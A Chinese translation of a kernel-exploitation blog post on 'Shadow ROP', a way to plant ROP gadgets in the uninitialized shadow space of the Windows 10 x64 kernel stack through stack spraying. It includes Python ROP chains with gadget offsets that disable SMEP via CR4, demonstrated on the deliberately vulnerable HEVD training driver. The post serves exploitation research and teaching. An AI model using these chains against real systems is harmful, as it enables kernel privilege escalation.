ROPping through shady corners【译文】 Secer's Blog - 记录互联网安全历程与个人成长经历

原文：https://acru3l.github.io/2018/10/20/ropping-through-shady-corners/

在这篇文章中，我将为读者详细介绍一种在Windows 10 x64系统上从用户空间向内核堆栈提供ROP链的方法，在本文中，我们称之为Shadow ROP。在我看来，这种方法对Ring 0级别的漏洞利用非常有用，可以藉此控制执行流程。

几个星期前，我开始了解Ring 0级别的漏洞利用技术。据我所知，还有很多人像我一样，在这方面还很陌生，所以，我们将从Ring 0级别的漏洞利用方法的一些基础知识开始讲起；不过，我想大家对于ROP的概念可能都已经耳熟能详了。

漏洞的类型

对于Ring 0级别的漏洞而言，我们主要关注下列两种可利用的类型：允许攻击者在内核空间（Write-What-Where）中读取/写入任意数据的漏洞类型，以及允许攻击者控制内核空间中线程的执行流程(指令指针)的类型。我们的重点关注对象是后者，其中涉及堆栈缓冲区溢出、UAF漏洞等。当然，除此之外，肯定还存在其他类型的漏洞，但它们不在本文的讨论范围之内。

缓解措施

我们至少应该考虑三种漏洞利用缓解措施：内核地址空间布局随机化（KASLR）、管理员模式执行保护（SMEP）和内核数据执行保护（DEP），所有这些保护措施在Windows 10上都是默认启用的。实践证明，KASLR并没有多大作用，因为对于中等完整性级别的进程来说，可以通过多种方式来泄漏内核和驱动程序的基址。而SMEP则是一个更强大的安全防护技术。它可以防止攻击者直接跳转到完全处于攻击者控制之下的用户空间地址。此外，由于内核DEP保护措施的存在，内核空间中使用的大多数数据都是不可执行的。

我们绕过SMEP的一般策略是，在跳转到用户空间中的shellcode之前，设法禁用该缓解措施。

ROP应运而生

面向返回编程( ROP )是一种流行的技术，它是ret2libc的继承者，是专门用来绕过DEP保护措施的。由于内核映像足够大，所以，我们总能找到合适的gadget，并且，如果我们知道内核的基址的话，则可以翻转CR4寄存器的第21位来禁用SMEP，这样就可以轻松地构建ROP链了。其实，这种ROP链一点也不复杂，具体见下面的Python代码。

chain += struct.pack('<Q', kernel_base + 0x597b)    # pop rcx; ret;
chain += struct.pack('<Q', 0x506f8)                 # rcx
chain += struct.pack('<Q', kernel_base + 0x108552)  # mov cr4, rcx; ret;
chain += struct.pack('<Q', shellcode_addr)

这里的问题是，如何将ROP链传递给内核空间，以及如何使堆栈指针RSP指向ROP链，以使其能够正常使用。当然，这些问题都不是什么难题，例如，在简单的堆栈缓冲区溢出漏洞情形中，由于我们的数据将被复制到堆栈缓冲区中，所以，我们可以轻松搞定这些事情；但在其他情况下，如UAF漏洞情形中，事情就没有这么简单了。

影子空间

接下来，让我们来了解一下Windows x64平台下的调用约定。根据维基百科：

在Microsoft x64平台下的调用约定中，调用者负责在调用函数之前在堆栈上分配32个字节的“影子空间”（不管实际使用的参数数量是多少），并在调用后将其弹出堆栈。该影子空间用于存放RCX、RDX、R8和R9寄存器的值，[16]同时，必须对所有函数可用，即使是参数少于四个的函数，也是如此。

重点在于，对于每个函数调用，都会为被调用函数创建0x20字节的空间（即"影子空间"），无论被调用函数实际上是否会耗尽分配的所有影子空间（调用者并不关心）。如果仅使用了部分影子空间的话，则剩余部分将保持未初始化状态。

堆栈喷射

2011年，j00ru发明了一种非常强大的技术，即使用nt!NtMapUserPhysicalPages进行堆栈喷射。使用这种技术，我们至少可以在内核堆栈上喷射0x2000字节的任意数据。这意味着，只要影子空间位于喷射范围内，我们就可以将任意数据植入影子空间的未初始化部分。

影子ROP

实际上，影子ROP的理论非常简单。我们将ROP链的各个片段放入影子空间的未初始化部分，然后将各个片段链接起来，从而达到我们的目标：就本文来说，就是禁用SMEP，并跳转到shellcode。

需要注意的是，千万不要在使用nt!NtMapUserPhysicalPages进行喷射与触发漏洞这段时间内调用任何系统调用，因为这有可能会破坏喷射到内核堆栈上的数据和我们的ROP链。如果我们使用诸如Python之类的脚本语言来进行漏洞利用的话，这可能会很棘手，因为它们会在底层调用系统调用，例如访问堆的时候，而这会破坏ROP链，从而破坏我们的漏洞利用过程。

PoC

为了便于读者进行理解，这里将以HackSysTeam出品的HEVD v2.00中的一个类型混淆漏洞的利用过程为例进行演示。之所以选择这个漏洞，是因为它是HEVD实现的最简单的漏洞之一，当然，这里介绍的技术也适用于HEVD中的其他漏洞。其实，这个漏洞的利用方法非常简单，只需通过DeviceIoControl调用用户提供的函数指针即可(当然，着要借助于类型混淆漏洞)。就这里来说，虽然控制指令指针非常容易，但是，它却没有为我们提供直接将有效载荷复制到内核池的内核堆栈的方法。这时候，我们的方法就派上用场了。

我们的攻击计划是:

NtMapUserPhysicalPages (喷射) -> DeviceIoControl (触发) -> ROP (pwn)

首先，让我们喷射下面用Metasploit生成的0x2000字节的模版，并尝试触发该漏洞，看看会出现什么情况。

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn

下面的WinDBG的屏幕截图显示了将要触发该漏洞时的堆栈的布局情况。我们可以看到，喷射模版的一些子模版（红色圆圈内的部分）在没有被破坏的情况下被保留了下来。这些是我们漏洞利用过程的垫脚石。通过计算模版中这些子模版的偏移量，我们可以准确地推断出放置ROP Gadget的具体位置。

通过向下翻看堆栈（我的意思是，查看更高的地址），就会发现，有很多地方都可用于放置ROP Gadget。在Windows 10 x64 V1703版本中，完整的ROP链如下所示。在这个ROP链中，共使用了4个影子空间以及3个长跳转指令。

chain += struct.pack('<Q', kernel_base + 0x68464f)  # add rsp, 0x58; ret;
chain += struct.pack('<Q', 0x4141414141414141) * 11 # filler
chain += struct.pack('<Q', kernel_base + 0x11c667)  # add rsp, 0x118; ret;
chain += struct.pack('<Q', 0x4141414141414141) * 35 # filler
chain += struct.pack('<Q', kernel_base + 0x597b)    # pop rcx; ret;
chain += struct.pack('<Q', 0x506f8)                 # rcx
chain += struct.pack('<Q', kernel_base + 0x1f081e)  # add rsp, 0x48; ret;
chain += struct.pack('<Q', 0x4141414141414141) * 9  # filler
chain += struct.pack('<Q', kernel_base + 0x108552)  # mov cr4, rcx; ret;
chain += struct.pack('<Q', shellcode_addr)

完整的PoC代码，读者可以从GitHub站点下载。

参考资料

[1] https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/

[2] https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

ROPping through shady corners【译文】

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